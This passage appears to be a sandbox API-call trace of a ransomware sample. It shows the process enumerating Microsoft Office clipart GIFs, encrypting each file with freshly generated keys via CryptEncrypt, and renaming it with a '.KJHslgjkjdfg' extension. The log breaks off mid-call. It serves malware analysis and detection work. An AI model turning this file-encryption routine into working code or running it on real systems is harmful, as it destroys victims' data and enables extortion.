SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.221] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x2fd, lpOverlapped=0x0) returned 1 [0196.221] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x300, dwBufLen=0x300 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x300) returned 1 [0196.221] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.224] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x300, lpOverlapped=0x0) returned 1 [0196.224] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.224] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x3d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.224] SetEndOfFile (hFile=0x118) returned 1 [0196.227] GetProcessHeap () returned 0x2a0000 [0196.227] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.227] GetProcessHeap () returned 0x2a0000 [0196.227] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.kjhslgjkjdfg")) returned 1 [0196.229] CloseHandle (hObject=0x118) returned 1 [0196.230] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0196.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.231] GetProcessHeap () returned 0x2a0000 [0196.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.231] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.231] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.231] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0196.234] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.234] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.234] GetProcessHeap () returned 0x2a0000 [0196.234] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.234] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.234] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.234] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.234] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.234] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.234] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.235] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.235] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.235] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.235] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.235] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.235] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x996, lpOverlapped=0x0) returned 1 [0196.235] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9a0) returned 1 [0196.235] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.235] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9a0, lpOverlapped=0x0) returned 1 [0196.235] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.235] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.235] SetEndOfFile (hFile=0x118) returned 1 [0196.238] GetProcessHeap () returned 0x2a0000 [0196.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.238] GetProcessHeap () returned 0x2a0000 [0196.238] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.kjhslgjkjdfg")) returned 1 [0196.240] CloseHandle (hObject=0x118) returned 1 [0196.240] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0196.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.242] GetProcessHeap () returned 0x2a0000 [0196.242] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.242] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.242] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.242] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.248] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.248] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.248] GetProcessHeap () returned 0x2a0000 [0196.248] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.248] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.248] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.249] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.249] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.249] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.249] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.249] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.249] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.249] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.249] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.249] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.249] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x90c, lpOverlapped=0x0) returned 1 [0196.249] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x910, dwBufLen=0x910 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x910) returned 1 [0196.249] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.250] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x910, lpOverlapped=0x0) returned 1 [0196.250] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.250] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.250] SetEndOfFile (hFile=0x118) returned 1 [0196.252] GetProcessHeap () returned 0x2a0000 [0196.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.252] GetProcessHeap () returned 0x2a0000 [0196.252] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.kjhslgjkjdfg")) returned 1 [0196.255] CloseHandle (hObject=0x118) returned 1 [0196.255] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0196.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.256] GetProcessHeap () returned 0x2a0000 [0196.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.256] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.256] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.256] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0196.259] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.259] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.259] GetProcessHeap () returned 0x2a0000 [0196.259] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.259] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.259] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.259] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.259] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.259] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.260] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.260] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.260] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.260] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.260] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.260] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.260] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x581, lpOverlapped=0x0) returned 1 [0196.260] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x590, dwBufLen=0x590 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x590) returned 1 [0196.260] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.260] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x590, lpOverlapped=0x0) returned 1 [0196.260] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.260] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.260] SetEndOfFile (hFile=0x118) returned 1 [0196.263] GetProcessHeap () returned 0x2a0000 [0196.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.263] GetProcessHeap () returned 0x2a0000 [0196.263] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.263] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.kjhslgjkjdfg")) returned 1 [0196.265] CloseHandle (hObject=0x118) returned 1 [0196.265] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0196.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0196.267] GetProcessHeap () returned 0x2a0000 [0196.267] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.267] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.267] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0196.267] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x6, lpOverlapped=0x0) returned 1 [0196.270] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.270] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.270] GetProcessHeap () returned 0x2a0000 [0196.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.270] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0196.270] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.270] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0196.270] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0196.270] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0196.270] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0196.270] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0196.271] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0196.271] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0196.271] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.271] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.271] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x15fa, lpOverlapped=0x0) returned 1 [0196.272] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1600) returned 1 [0196.272] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.272] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1600, lpOverlapped=0x0) returned 1 [0196.272] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0196.272] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x16d4, 